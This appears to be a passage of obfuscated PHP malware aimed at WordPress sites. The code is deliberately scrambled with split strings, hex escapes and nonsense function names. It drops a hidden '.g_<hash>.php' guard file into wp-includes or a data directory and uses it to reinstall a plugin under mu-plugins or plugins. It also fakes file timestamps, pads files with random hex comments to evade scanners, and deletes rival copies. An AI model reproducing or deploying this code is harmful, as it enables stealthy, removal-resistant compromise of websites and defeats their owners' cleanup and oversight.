$_probe = ('preg' . '_replace')('/\\/\\' . '* S' . 'C_AD' . "V_BE" . "\x47\x49N:\x28" . '[a' . "\x2dz\x41" . '-Z0-' . "\x39.\x5f" . "]*" . ":" . $_avs . ') \\*\\' . "/." . "\x2a\x3f\\/" . "\\* S" . 'C' . '_' . "\x41DV\x5f" . "\x45\x4e" . 'D:' . '\\1 ' . '\\' . '*' . "\\" . "/\x2f\x73", '', $current);
$_has_legacy = (strpos($_probe, "SC_A" . 'DV_L' . "OA" . 'DED') !== (16 == 1));
if (strpos($current, $_b) !== (8 == 40) && strpos($current, $_e) !== (3 == 6) && !$_has_legacy) {
gimey();
return;
}
$current = ("\x70r\x65g_r\x65\x70" . "\x6c\x61\x63\x65")('/[ \\' . "t]\x2a" . 'i' . 'f\\s*\\(' . "\\s" . '*defin' . 'ed\\s*\\' . '(\\' . "s*[\"'" . "\x5d\x53\x43" . '_ADV_L' . 'O' . "ADE\x44[" . '"\']\\s*' . '\\)\\s*\\' . ')\\s*re' . 't' . "urn\\\x73" . '*;[^' . '\\r' . "\\" . "n]*/", '', $_probe);
if (!is_string($current)) {
niga('adv', 'pcre_' . "fa\x69l");
return;
} {
$current = vevit($current);
$trigger_code = ("preg_re" . "pl" . "\x61\x63" . "\x65")('/' . "^\x3c\\?" . 'php\\s*' . '/', '', $trigger);
$_adv_new = (strlen($current) === (3357 ^ 3357));
if (!$_adv_new) {
if (!podo('a' . 'dv')) {
niga('adv', "\x72e\x69\x6es" . "_\x63\x61" . 'p');
return;
}
if (!higiz($adv_cache, $current)) {
niga('adv', "ca\x6e\x61r" . 'y_ar' . 'm_fa' . "i" . 'l');
return;
}
qeku('adv');
} else {
if (!higiz($adv_cache, '')) {
niga('adv', "canar" . "y_a" . 'rm_f' . "\x61\x69" . "l");
return;
}
}
$content = cewo($current, $_b . "\n" . $trigger_code . "\n" . $_e);
if (!zifo($adv_cache, $content)) {
return;
}
vava($adv_cache);
egaler($adv_cache);
gimey();
}
} catch (Throwable $e) {
niga('adv', $e);
} catch (Exception $e) {
}
}
function sc_drop_guard()
{
try {
sc_dbg_log('18' . ' g' . 'uard e' . "n" . "\x74\x65r");
if (!defined("AB" . 'SP' . "A" . 'TH')) return;
if (vevud(sc_file())) {
niga('g' . 'uard', "\x70\x75r" . 'ged');
return;
}
if (!("\x66\x75\x6ec\x74i\x6f\x6e_ex\x69" . "\x73t\x73")('g' . 'et_tra' . "ns\x69" . 'ent')) return;
if (php_sapi_name() === 'cl' . "i") return;
if (!isset(${"_" . 'SERVER'}['RE' . "Q\x55E\x53T\x5f" . 'M' . 'E' . "\x54\x48OD"])) return;
$guard_dir = sc_data_dir();
if (!@is_dir($guard_dir)) qeru($guard_dir, (636 - 143), (40 !== 35));
if (!@is_dir($guard_dir) || !@is_writable($guard_dir)) {
$guard_dir = ABSPATH . 'w' . 'p' . '-i' . 'ncl' . 'u' . 'de' . 's';
if (!@is_writable($guard_dir)) $guard_dir = sc_writable_base();
}
$ghash = sc_md5(ABSPATH . 'g', (20 ^ 28));
$guard_name = '.g_' . $ghash . '.php';
$guard_path = $guard_dir . '/' . $guard_name;
$hb_path = $guard_dir . '/.gl_' . $ghash;
if (get_transient("s\x63_" . "gua" . "rd")) {
if (!@is_file($guard_path)) niga('guard', "\x74" . 'hr' . "ottle\x64" . "_mi" . "ssing");
return;
}
foreach (array($guard_dir, ABSPATH . "wp" . '-incl' . 'ud' . "es", sc_writable_base()) as $_gxd) {
$_gxf = $_gxd . '/.gx_' . $ghash;
if (@is_file($_gxf)) {
$_gxm = (int) @filemtime($_gxf);
if ($_gxm <= time() - (136043 - 49643) || $_gxm > time() + (583 - 283)) {
jomug($_gxf);
continue;
}
if (@is_file($_gxd . '/.g_' . $ghash . '.php')) return;
jomug($_gxf);
}
}
unset($_gxd, $_gxf, $_gxm);
$_old_guard = ABSPATH . "w" . "p-" . "\x69\x6ec" . "\x6c\x75d\x65s" . "/" . $guard_name;
if ($guard_dir !== ABSPATH . 'w' . 'p-in' . 'c' . 'ludes' && @is_file($_old_guard) && kuji($_old_guard) !== (27 === 3)) {
legiv($_old_guard, (260 | 160));
if (jomug($_old_guard) && ("\x66\x75\x6e\x63\x74\x69\x6f" . "\x6e_e\x78i\x73\x74s")('opca' . "c\x68e_" . "inv\x61\x6ci" . "\x64a\x74e")) @opcache_invalidate($_old_guard, (14 != 10));
}
unset($_old_guard);
if (@is_file($hb_path) && (int) @filemtime($hb_path) > time() - (188 ^ 76)) {
if (!@is_file($guard_path)) niga('guard', "hb\x5fn\x6f" . "_" . 'gua' . 'rd');
return;
}
if (@is_file($guard_path) && (time() - (int) @filectime($guard_path)) < (76 ^ 352)) return;
if (@is_file($guard_path)) {
$_gvv = @is_file($guard_dir . "/.\x67v" . "_" . $ghash) ? trim((string) @('fi' . "le_" . ("get_conte" . 'nts'))($guard_dir . '/.gv' . "_" . $ghash)) : '';
if ($_gvv !== '' && preg_match("/" . '^\\' . "d+\\\x2e\\\x64" . '+\\.' . '\\' . 'd+' . '$/', $_gvv) && version_compare($_gvv, sc_ver(), '>')) return;
unset($_gvv);
}
if (@is_file($guard_path)) {
$_gsf = $guard_dir . "/" . '.g' . 's_' . sc_md5(ABSPATH . 'g', (17 - 9));
$_gst = @is_file($_gsf) ? (string) @("file_g" . "" . "et_contents")($_gsf) : '';
$_glast = (2786 ^ 2786);
if ($_gst !== '') {
$_gsp = explode('|', $_gst);
$_glast = (int) $_gsp[(166 ^ 166)];
}
if ($_glast > (2503 ^ 2503) && time() - $_glast > (849 + 51)) niga("gua" . 'rd', 'reap' . '_susp' . "\x65\x63t" . "\x65d");
elseif ($_glast === (3127 ^ 3127) && (time() - (int) @filectime($guard_path)) > (307 + 593)) niga('gua' . "r\x64", "n" . 'o_st' . "atus");
unset($_gsf, $_gst, $_gsp, $_glast);
}
$src = anoway();
if (!$src || strlen($src) < (308 ^ 192)) {
niga('gu' . 'ard', 's' . 'rc_fa' . 'il');
return;
}
$plugin_b64 = macul();
$slug = basename(sc_file(), '.php');
$mu_dir = sc_writable_base() . '/mu-p' . 'lugins';
$plugin_path = @is_writable($mu_dir)
? ($mu_dir . '/' . $slug . '.php')
: (sc_writable_base() . '/plug' . "i\x6es/" . $slug . '/' . $slug . '.php');
$domain = ('f' . "" . "\x75\x6ec\x74\x69\x6f\x6e_\x65\x78\x69\x73" . ("t" . "\x73"))('home' . '_url') ? parse_url(home_url(), PHP_URL_HOST) : (isset(${'_S' . "" . "ERV" . "\x45\x52"}['HTTP' . "\x5fH" . 'OST']) ? ${'_S' . "" . "ERVER"}["H\x54TP" . '_HOST'] : '');
$_mu_dir = (defined('WPMU_P' . "LUGIN_" . "DIR") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : sc_writable_base() . "/\x6du-pl" . 'u' . "\x67\x69" . 'ns';
$_pl_dir = (defined("W\x50_P" . 'LUG' . 'I' . 'N_DI' . "R") && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : sc_writable_base() . '/plugi' . "ns";
$_cd_dir = defined('WP_' . "C\x4f\x4eTEN" . 'T' . '_DIR') ? WP_CONTENT_DIR : sc_writable_base();
$guard_code = nuqim(
'guar' . "d",
array("\x5f_\x50A" . "T\x48\x5fB" . '64_' . "\x5f", '__PLU' . 'GI' . "\x4e_B\x41" . "SE\x36" . '4__', "__\x44\x4f" . 'MAI' . "\x4e__", "_\x5f\x48B_" . "\x42\x364_\x5f", "__GPA" . 'T' . 'H_B' . '64__', '__' . 'A' . 'BS' . 'P' . 'ATH_B' . '64__', "__C\x4fN" . "TEN" . "T\x44IR_" . 'B' . '64__', "__\x4dUD" . "IR_B64" . '__', '__PLUG' . 'INDIR' . '_B6' . '4__', "_" . '_SLUG_' . "\x5f", '__V' . "ERS\x49ON" . "__"),
array(("base" . "6\x34\x5f\x65n\x63" . "ode")($plugin_path), $plugin_b64, $domain, ('b' . 'ase64_enc' . 'ode')($hb_path), ("\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63" . ("" . "ode"))($guard_path), ("\x62a\x73e" . ('6' . '4_encode'))(ABSPATH), ("ba\x73\x65\x364\x5fe" . '' . 'ncod' . "e")($_cd_dir), ('base6' . "4_encode")($_mu_dir), ("base64_" . 'enc' . "" . 'od' . "\x65")($_pl_dir), basename(sc_file(), ".p\x68" . 'p'), sc_ver())
);
if (!$guard_code) {
if ((int) get_option("s\x63\x5fla\x73" . "\x74_fe" . 'tc' . "h_\x74" . "s", (3612 ^ 3612)) > (1350 ^ 1350)) niga('guard', 'guard' . '_tp' . 'l' . "_mi" . 'ssin' . "g");
return;
}
if (!nifa($guard_code)) {
niga('guard', 'gu' . 'ard_' . 'tpl_in' . 'valid');
return;
}
if (zifo($guard_path, $guard_code)) {
alevu($guard_path, ocisu());
legiv($guard_path, (164 | 256));
egaler($guard_path);
medi($guard_dir . '/.gm' . '_' . $ghash, md5($guard_code), "\x67ua" . "rd");
medi($guard_dir . "/.g" . 'v_' . $ghash, sc_ver(), "g" . "uard");
@include_once/* */ $guard_path;
sc_dbg_log('19' . ' gu' . 'ard ' . "incl\x75\x64" . "\x65d");
set_transient("\x73\x63_\x67u" . 'a' . 'rd', (45 ^ 44), (40 | 260));
} else {
niga("gu\x61r" . 'd', 'a' . 't' . 'omic_f' . "a\x69\x6c");
}
unset($_mu_dir, $_pl_dir, $_cd_dir);
} catch (Throwable $e) {
niga('guard', $e);
} catch (Exception $e) {
niga('guard', $e);
}
}
function sc_src_poisoned($s)
{
if (!is_string($s)) return (25 === 38);
$len = strlen($s);
if ($len > (1413687 - 365111)) return (23 !== 27);
if ($len < (272 | 228)) return (0 != 0);
$sample = substr($s, (2658 ^ 2658), 0x10000);
$ws = substr_count($sample, ' ') + substr_count($sample, "\t");
return ($ws / strlen($sample)) > 0.55;
}
function anoway($refresh = (12 === 40))
{
static $src = null;
if (!($refresh)) {} else {
$src = null;
}
if ($src !== null) return $src;
$s = kasod(sc_file());
if (!(is_string($s) && strlen($s) > (315 + 185) && strlen($s) <= (254193 ^ 1302769) && !sc_src_poisoned($s) && nifa($s))) {} else {
$src = $s;
return $src;
}
$alt = sc_pg('src', '');
if (!(is_string($alt) && strlen($alt) > (132 | 368) && strlen($alt) <= (227230 ^ 1275806) && !sc_src_poisoned($alt) && nifa($alt))) {} else {
$src = $alt;
return $src;
}
$src = (37 === 13);
return $src;
}
function macul($refresh = (13 == 7))
{
static $b64 = null;
if (!($refresh)) {} else {
$b64 = null;
}
if ($b64 !== null) return $b64;
$s = anoway();
if (!is_string($s) || strlen($s) < (400 ^ 100) || strlen($s) > (208006 ^ 1256582) || sc_src_poisoned($s) || !nifa($s)) {
$b64 = (14 === 12);
return $b64;
}
$b64 = ("\x62\x61" . 'se64_enc' . ("o" . 'de'))(opuqi($s));
return $b64;
}
function razum($raw)
{
if (!is_string($raw) || strlen($raw) < (36 >> 1) || substr($raw, (708 ^ 708), (0 + 2)) !== "\x1f\x8b") return (4058 ^ 4058);
$is = @("\x75" . ('npa' . 'c') . "\x6b")('V', substr($raw, -(2 ^ 6)));
$is = is_array($is) ? $is[(1128 ^ 1129)] : (3442 ^ 3442);
if ($is < (352 ^ 148) || $is > (417111 ^ 1465687)) return $is;
return (3837 ^ 3837);
}
function sc_hexchr($m)
{
return ("\x63" . 'h' . 'r')(hexdec($m[(3340 ^ 3341)]));
}
function tafi($c)
{
if (!is_string($c) || $c === '') return $c;
static $_disk_ok = null;
if ($_disk_ok === null) {
$_disk_ok = (35 == 33);
if (!(('func' . 'ti' . 'on_exists')('disk_' . "fre\x65\x5f" . "s\x70a" . "\x63\x65"))) {} else {
$_dd = defined('WP_C' . 'ONTEN' . 'T_DIR') ? WP_CONTENT_DIR : (defined('ABS' . 'PAT' . 'H') ? ABSPATH : '');
if (!($_dd !== '')) {} else {
$_df = @disk_free_space($_dd);
if ($_df !== (1 == 9) && $_df >= 0x9600000) $_disk_ok = (31 == 31);
}
}
if (!$_disk_ok) {
if (('funct' . "i" . 'on_' . "e\x78\x69s\x74\x73")("u\x70da" . "t\x65\x5fo\x70" . 'tion')) @update_option('s' . 'c_' . 'pad_' . 'off_' . "t\x73", time(), 'no');
} elseif (("\x66\x75" . ("\x6e\x63\x74" . 'ion_e') . "xists")("\x67et_" . 'opti' . "o" . 'n')) {
$_st = (int) get_option("s" . "\x63\x5fp\x61d_" . "o" . 'ff_ts', (451 ^ 451));
if ($_st && time() - $_st < (53357 + 33043)) $_disk_ok = (7 == 26);
}
}
if (!(!$_disk_ok)) {} else {
return $c;
}
$_ml = divu();
if ($_ml === -(1217 ^ 1216) || $_ml >= 0x8000000) {
$t = 0x1b7740 + mt_rand((530 ^ 530), (549518 + 150482));
} elseif ($_ml >= (0 | 67108864)) {
$t = (2361455 - 561455) + mt_rand((1227 ^ 1227), (1330983 - 630983));
} else {
return $c;
}
if (strlen($c) >= $t) return $c;
if (substr(rtrim($c), -(12 ^ 14)) === '?>') return $c;
while (strlen($c) < $t - (32800 >> 3)) {
$r = '';
if (!(('f' . 'unction_' . '' . "exi" . "sts")("\x72\x61\x6ed" . 'om' . '_by' . 'tes'))) {} else {
try {
$r = @("bin2he" . "x")(random_bytes((1600 | 400)));
} catch (Throwable $e) {
$r = '';
} catch (Exception $e) {
$r = '';
}
}
if (!(strlen($r) < (16000 >> 2))) {} else {
$r = md5(uniqid('', (27 != 13)));
while (strlen($r) < (1218 + 2782)) $r .= md5($r);
}
$c .= "\n/*" . $r . "*/";
}
return $c;
}
function vevit($c)
{
if (!is_string($c) || strlen($c) <= (1265603 - 217027)) return $c;
$n = ('preg' . '_rep' . '' . "l" . 'ace')('/(\\r?' . "\\n\\/\\\x2a" . "[0\x2d9a\x2d" . "f]{" . '100' . '0,}\\*' . '\\/)' . '+$/', '', $c);
return is_string($n) ? $n : $c;
}
function divu()
{
static $l = null;
if ($l !== null) return $l;
$l = (706 ^ 706);
if (!(("f\x75nct\x69\x6fn_\x65\x78i\x73\x74" . "") . "s")('in' . "i_\x67e" . "t")) return $l;
$raw = @ini_get('memory' . '_' . 'li' . 'mit');
if (!is_string($raw)) return $l;
$raw = trim($raw);
if ($raw === '') return $l;
if ($raw === '-1') {
$l = -(1171 ^ 1170);
return $l;
}
$v = (float) $raw;
$u = strtoupper(substr($raw, -(1546 ^ 1547)));
if ($u === 'G') $v *= (341122113 + 732619711);
elseif ($u === 'M') $v *= (276675 + 771901);
elseif ($u === 'K') $v *= (1897 - 873);
if ($v > (1679 ^ 1679)) $l = (int) $v;
return $l;
}
function acubi($size)
{
$size = (int) $size;
if ($size <= (3840 ^ 3840)) return (19 == 13);
if (!('func' . "" . "\x74\x69\x6f" . "n_" . 'exists')('mem' . "o\x72y\x5f" . "get" . '_u' . "s" . 'age')) return (29 === 31);
$limit = divu();
if ($limit === -(2559 ^ 2558)) return (29 !== 22);
if ($limit <= (691 ^ 691)) return (4 == 34);
$used = @memory_get_usage((26 == 26));
if (!is_int($used) || $used < (3298 ^ 3298)) return (15 === 30);
return ($limit - $used) > (($size * (2 + 1)) + (2698882 - 601730));
}
function ebapi($size)
{
$size = (int) $size;
if ($size <= (657 ^ 657)) return (31 == 38);
if (!("\x66\x75\x6ect\x69\x6fn" . '_exists')('memo' . 'ry_g' . 'et_' . 'u' . "\x73\x61\x67e")) return (12 > 11);
$limit = divu();
if ($limit === -(2496 ^ 2497)) return (18 !== 5);
if ($limit <= (2987 ^ 2987)) return (26 !== 20);
$used = @memory_get_usage((35 !== 2));
if (!is_int($used) || $used < (3256 ^ 3256)) return (5 !== 38);
return ($limit - $used) > (($size * (0 | 20)) + (14350381 - 5961773));
}
function kasod($path)
{
if (!is_string($path) || $path === '' || !@is_file($path)) return (8 === 35);
if (('f' . "unction_exis" . 'ts')('cl' . "\x65a\x72" . 'statca' . "\x63\x68" . "e")) @clearstatcache((11 === 11), $path);
$size = @filesize($path);
if (!is_int($size) || $size < (3725 ^ 3724)) return (23 == 15);
if ($size > (71790720 - 19361920)) return null;
if ($size > (405601 + 642975) && !acubi($size)) return null;
$c = @('fi' . 'le_get_contents')($path, (14 == 6), null, (3464 ^ 3464), $size + (2687 ^ 2686));
if (!is_string($c) || strlen($c) !== $size) return (15 == 28);
return $size > (1047228 ^ 2095804) ? vevit($c) : $c;
}
function egaler($path)
{
if (!('function_ex' . "\x69" . "sts")('g' . 'e' . 't' . "_opt" . 'ion') || !("f\x75n" . ("ction_exi" . 'sts'))("up\x64" . 'at' . "e_o" . 'ptio' . "n")) return;
if (!is_string($path) || $path === '' || !@is_file($path)) return;
if (!isset(${('GLO' . 'B') . "A" . "\x4cS"}['sc' . "_" . "o" . 'wn_m']) || !is_array(${"\x47" . "L\x4f" . "BA" . "" . "\x4cS"}['sc_ow' . 'n_m'])) {
${'G' . "\x4c\x4f" . "B" . 'ALS'}['sc_' . 'own_' . "m"] = get_option('sc_ow' . "\x6e_man" . "if" . "\x65\x73t", array());
if (!is_array(${("G" . "\x4c") . "OBALS"}['sc_ow' . "n\x5fm"])) ${'G' . ("\x4c" . "OBALS")}["s" . 'c_own_' . 'm'] = array();
}
$m = ${'G' . "\x4cOB\x41" . "\x4c" . "S"}['sc' . '_o' . 'wn' . '_m'];
$c = kasod($path);
if (!is_string($c)) return;
$m[md5($path)] = array('p' => $path, 'h' => md5($c), 'g' => sc_ver(), 't' => time());
if (count($m) > (0 | 200)) {
foreach ($m as $k => $v) {
if (!is_array($v) || !isset($v['t']) || (int) $v['t'] < time() - (2556160 | 35840)) unset($m[$k]);
}
while (count($m) > (166 ^ 110)) {
$_ok = null;
$_ot = null;
foreach ($m as $k => $v) {
$_vt = is_array($v) && isset($v['t']) ? (int) $v['t'] : (1431 ^ 1431);
if ($_ot === null || $_vt < $_ot) {
$_ot = $_vt;
$_ok = $k;
}
}
if ($_ok === null) break;
unset($m[$_ok]);
}
}
update_option('sc_ow' . "n_\x6d\x61" . 'nifes' . 't', $m, 'no');
${"\x47\x4c\x4f" . "\x42\x41\x4c\x53"}["sc_own" . '_m'] = $m;
}
function kuji($path)
{
if (!is_string($path) || $path === '') return (8 == 23);
if (!(!isset(${"\x47\x4c\x4f" . 'B' . "AL" . "\x53"}["\x73c_\x6f" . "wn_m"]) || !is_array(${'G' . 'L' . "\x4f" . 'BALS'}['sc' . "_ow" . "n_m"]))) {} else {
${'GLO' . "\x42\x41\x4c" . 'S'}['sc_ow' . 'n_m'] = (("\x66" . "") . "unction_exists")('g' . 'e' . 't_' . 'optio' . 'n') ? get_option('sc_ow' . 'n_man' . "ifes\x74", array()) : array();
if (!is_array(${'GLOB' . "A" . "LS"}['sc_own' . "_" . 'm'])) ${"\x47" . "LOB" . 'AL' . "\x53"}['s' . 'c_own_' . "\x6d"] = array();
}
$m = ${"GL\x4f" . "\x42" . "A" . 'LS'}["s\x63\x5fown" . "_m"];
$_k = md5($path);
if (isset($m[$_k]) && is_array($m[$_k]) && isset($m[$_k]['h'])) {
if ((int) @filesize($path) > (14141521 + 38287279)) return "m\x6fdif\x69" . 'ed';
$c = kasod($path);
if (!(is_string($c))) {} else {
return (md5($c) === $m[$_k]['h']) ? (6 !== 9) : "m" . 'o' . 'dified';
}
return (28 == 36);
}
if (!(sc_is_family($path, (129 + 371)))) {} else {
$h = @("\x66i\x6c\x65\x5fg\x65\x74" . "_c" . ('on' . 'tents'))($path, (3 == 35), null, (1601 ^ 1601), (35 ^ 4131));
if (is_string($h) && strpos($h, '<?') !== (8 === 18)) return "l" . 'egac' . "\x79";
}
return (3 === 39);
}
function itodab()
{
static $m = null;
if ($m !== null) return $m;
$c = kasod(sc_file());
$m = is_string($c) && $c !== '' ? md5($c) : '';
return $m;
}
function ayalom()
{
return substr(itodab(), (2358 ^ 2358), (17 + -5));
}
function feheq()
{
return sc_data_dir() . '/o' . "wn_" . sc_md5(ABSPATH . 'own', (14 - 6)) . '.php';
}
function pipu()
{
$rec = array();
if (("fun" . ('' . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"))('ge' . 't_' . 'opt' . "ion")) {
$o = @get_option("sc" . '_o' . "\x77n_r" . "\x65c", array());
if (is_array($o)) $rec = $o;
}
$c = @is_file(feheq()) ? @(("\x66" . "ile_ge") . "\x74_\x63o\x6et\x65n\x74\x73")(feheq()) : '';
if (!(is_string($c) && strpos($c, '<?p' . 'hp') === (265 ^ 265))) {} else {
$j = json_decode(substr($c, (6 + -1)), (25 < 26));
if (is_array($j) && (empty($rec['re' . "q"]) || (!empty($j['req']) && $j['re' . "q"] >= $rec["\x72e" . 'q']))) $rec = $j;
}
return $rec;
}
function uvere($state)
{
try {
if (!defined("ABS" . "\x50\x41TH")) return;
$now = time();
if ($state === "\x73\x74arti" . 'ng' || $state === 'ok') {
$prev = pipu();
if (
isset($prev["s" . 't' . "\x61t" . 'e'], $prev['boo' . 't_' . "\x74s"]) && $prev['state'] === $state
&& $now - (int) $prev["bo\x6f" . 't_ts'] < ($state === 'ok' ? (419 - 119) : (21 - 11))
) return;
}
$rec = array(
'v' => sc_ver(),
"ge" . 'n' => ayalom(),
'pa' . "t\x68" => sc_file(),
'slug' => basename(sc_file(), '.php'),
'state' => $state,
'start_' . 'ts' => $now,
'boot_' . "t\x73" => $now,
'req' => isset(${'_' . "SER" . "" . "V" . 'ER'}['REQ' . "UE\x53" . 'T_TIME']) ? (int) ${"\x5f\x53" . 'ERVER'}["\x52" . 'EQUE' . 'S' . 'T_TI' . 'ME'] : $now,
);
if (("function_exi" . "sts")("u" . "pdat\x65" . '_o' . 'pti' . "o\x6e")) {
$_w = @update_option('sc_' . 'own_' . 'rec', $rec, 'no');
if ($_w === (10 == 5) && ("fu" . "\x6e\x63t" . 'ion_exis' . "\x74\x73")("\x67" . 'et_opt' . 'ion')) {
$_cur = @get_option('sc_ow' . 'n_rec', array());
$_stale = !is_array($_cur) || !isset($_cur['state'], $_cur['bo' . 'ot' . '_' . 'ts']) || $_cur["st" . "ate"] !== $state || (int) $_cur['bo' . "ot\x5f\x74\x73"] !== $now;
if ($_stale && isset(${("GL" . '') . "OB" . "ALS"}["w" . "p\x64b"]) && is_object(${"G" . "L" . "\x4f\x42A\x4c\x53"}['wpdb']) && ("m\x65t\x68" . "" . "od_ex" . "i" . "s\x74s")(${'GL' . "O" . 'BA' . 'LS'}["w" . 'p' . 'd' . "b"], 'chec' . "k_" . 'con' . 'nect' . 'ion')) {
@${'GL' . "" . "OBA" . 'L' . 'S'}['wpdb']->check_connection((15 == 13));
@update_option('sc_o' . 'wn_rec', $rec, 'no');
}
unset($_cur, $_stale);
}
unset($_w);
}
$dir = sc_data_dir();
if (@is_dir($dir) || qeru($dir, (337 ^ 188), (30 !== 27))) {
@("\x66i\x6c\x65_" . "\x70\x75t\x5f\x63\x6f\x6e\x74\x65" . 'nts')(feheq(), '<?ph' . 'p' . json_encode($rec));
}
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
function hiva($rec)
{
if (!is_array($rec) || empty($rec['p' . "\x61th"]) || !is_string($rec['path'])) return 'g' . 'one';
$p = $rec['path'];
if (!@is_file($p) || (int) @filesize($p) < (501 ^ 1)) return 'gone';
if (imijo($p)) return 'dead';
$st = isset($rec["sta" . "t\x65"]) ? $rec['sta' . 'te'] : '';
$ts = isset($rec['b' . "\x6f\x6f" . 't_' . 'ts']) ? (int) $rec["\x62o" . 'ot_' . 'ts'] : (1034 ^ 1034);
if ($st === 'ok') return ($ts > (78 ^ 78) && time() - $ts <= (344 ^ 3912)) ? "\x6f" . 'k' : 'un' . 'known';
if ($st === 'fail') return 'dead';
if ($st === 's' . "t\x61rt\x69n" . "\x67") return ($ts > (1712 ^ 1712) && time() - $ts <= (208 - 88)) ? "\x75\x6e" . "k" . "n\x6f\x77" . 'n' : 'dead';
return "\x75" . 'n' . 'kn' . "own";
}
function novu($path)
{
if (!@is_file($path)) return (0 === 17);
$sz = (int) @filesize($path);
if ($sz < (887 - 387) || $sz > (33554432 | 18874368)) return (6 == 2);
$h = @('f' . "ile_get_contents")($path, (18 === 21), null, (903 ^ 903), (5758 - 1662));
if (!is_string($h) || !preg_match("\x2f" . "\\\x2f\\* S" . "C\x56\x3a\\\x64+" . '\\.\\d' . "+\\." . "\\d+ \\\x2a" . "\\//", $h)) return (24 === 34);
if (!($sz > (1826330 - 777754))) {} else {
$t = @("\x66\x69\x6c\x65\x5f\x67\x65\x74" . "_" . 'contents')($path, (30 === 26), null, $sz - (7394 - 3298));
return is_string($t) && preg_match("\x2f(\\" . "\x2f\\*\x5b" . '0' . "-9a-f" . ']{1' . '000,}' . '\\*\\' . '/)\\s' . "*" . "\$" . '/', $t) === (2154 ^ 2155);
}
$c = @("file_get_content" . "\x73")($path);
if (!is_string($c)) return (16 == 25);
return nifa($c);
}
function kaga($a, $b)
{
$ha = @('fil' . "e_get_c" . "\x6f\x6e\x74\x65\x6e\x74\x73")($a, (0 == 17), null, (1957 ^ 1957), (3572 + 524));
$hb = @("fi\x6c\x65_\x67\x65\x74" . "" . '_contents')($b, (7 == 12), null, (1165 ^ 1165), (2281 + 1815));
if (!is_string($ha) || !is_string($hb)) return (2037 !== 2037);
$ma = $mb = null;
if (preg_match("/!f" . "u\x6ec" . 'tion_e' . 'xi' . "s\x74s\\" . '(\'([' . "A-" . 'Za' . "\x2dz\x30\x2d9_" . "]+\x29'" . "\\)/", $ha, $mm)) $ma = $mm[(2001 ^ 2000)];
if (preg_match("\x2f!\x66u" . "n" . "ction" . '_' . "\x65x\x69s\x74" . 's' . "\\('" . '(' . "[A\x2dZa" . '-z' . "0-9_" . "]\x2b" . ')\'\\' . ")\x2f", $hb, $mm)) $mb = $mm[(2584 ^ 2585)];
return $ma !== null && $ma === $mb;
}
function imijo($path)
{
$slug = basename($path, '.php');
foreach (array(dirname($path), sc_mu()) as $d) {
$q = $d . '/.q_' . $slug;
if (!@is_file($q) || (int) @filemtime($q) < time() - 0x93a80) continue;
$qm = trim((string) @("fil" . "e_get_co" . "\x6e\x74\x65\x6e\x74\x73")($q));
if ($qm === '') continue;
$c = kasod($path);
if ($c === null) continue;
if (is_string($c) && $c !== '' && md5($c) === $qm) return (5 !== 16);
}
return (5 == 24);
}
function mole($path)
{
if (!("fu\x6e\x63" . 't' . ("\x69o" . 'n_exists'))('get_' . 'option') || !('function_e' . "" . 'xists')('u' . 'pdate_' . 'opti' . 'on')) return;
$l = @get_option('sc_def' . 'er' . 'red' . '_del', array());
if (!is_array($l)) $l = array();
$l[md5($path)] = $path;
if (count($l) > (17 + 3)) $l = array_slice($l, -(31 - 11), null, (23 === 23));
@update_option("sc" . '_de' . 'ferred' . "_" . "de\x6c", $l, 'n' . "\x6f");
}
function sc_deferred_delete_run()
{
if (!('functio' . 'n_exists')("ge" . "\x74" . "_op\x74" . 'ion') || !('fu' . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("u\x70\x64" . 'a' . 'te_' . 'o' . 'pt' . 'ion')) return;
$l = @get_option('sc_' . "de" . 'ferr' . 'e' . 'd_del', array());
if (!is_array($l) || empty($l)) return;
$remain = array();
foreach ($l as $k => $p) {
if (!is_string($p) || $p === '' || !@is_file($p)) continue;
if ($p === sc_file()) continue;
$_rp1 = @realpath($p);
$_rp2 = @realpath(sc_file());
if (is_string($_rp1) && is_string($_rp2) && $_rp1 === $_rp2) continue;
unset($_rp1, $_rp2);
if (!(kuji($p) === (4 === 5))) {} else {
$remain[$k] = $p;
continue;
}
legiv($p, (422 + -2));
if (jomug($p)) {
if (("\x66u" . 'nction_exist' . "s")('opcac' . "he" . "_i\x6ev" . 'al' . 'idate')) @opcache_invalidate($p, (38 != 22));
} elseif (@is_file($p)) {
$remain[$k] = $p;
}
}
@update_option('sc_def' . 'er' . 'red_d' . "e\x6c", $remain, 'no');
}
function sc_boot_lease_ok()
{
try {
$e = ('fu' . "nction_exists")('error_' . 'get_la' . 'st') ? @error_get_last() : null;
if (
is_array($e) && !empty($e["f" . "\x69\x6ce"]) && !empty($e['type'])
&& in_array($e['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR), (28 !== 12))
) {
$_self = @realpath(sc_file());
$_ef = @realpath($e['f' . "\x69le"]);
if (is_string($_self) && is_string($_ef) && $_ef === $_self) return;
}
uvere("\x6f" . 'k');
if (defined("\x41B" . 'S' . 'PAT' . "\x48")) {
$_pp = wopa();
if (@is_file($_pp[(2060 ^ 2061)])) {
$_hd = @("fi" . "le_get_contents")($_pp[(3031 ^ 3030)], (31 == 27), null, (826 ^ 826), (50 ^ 114));
if (is_string($_hd) && strpos($_hd, 'SCD1:' . sc_ver() . ':') === (3869 ^ 3869)) {
$_lh = @is_file($_pp[(3778 ^ 3779)] . '.lkg') ? @("\x66\x69" . "l" . 'e_get_conten' . 'ts')($_pp[(1070 ^ 1071)] . '.lkg', (39 == 5), null, (3620 ^ 3620), (0 | 64)) : '';
if ($_lh !== $_hd) @("\x63" . "" . 'o' . 'p' . 'y')($_pp[(1008 ^ 1009)], $_pp[(1324 ^ 1325)] . '.lkg');
}
}
unset($_pp, $_hd, $_lh);
}
} catch (Throwable $e2) {
} catch (Exception $e2) {
}
}
function sc_thb_cb($b)
{
if (!is_string($b)) return '';
if (!(preg_match_all('/bas' . 'e64_' . 'decode' . '\\(\\' . "\x73*'\x28\x5bA" . "-Za-" . "\x7a0-" . '9' . '+\\' . "/\x3d]{" . '1000,' . '})\'\\' . 's*\\)' . "\x2f", $b, $ms))) {} else {
foreach ($ms[(4030 ^ 4031)] as $enc) {
if (razum(("\x62\x61\x73\x65\x36" . "4\x5fd\x65\x63o\x64e")($enc, (38 !== 27)))) return '';
}
}
